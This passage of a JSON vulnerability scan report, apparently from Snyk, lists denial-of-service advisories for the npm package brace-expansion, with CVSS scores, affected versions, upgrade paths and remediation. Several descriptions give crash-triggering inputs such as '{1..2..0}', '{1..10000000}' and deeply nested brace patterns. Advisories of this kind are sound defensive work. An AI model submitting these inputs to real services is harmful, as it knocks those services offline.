], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not 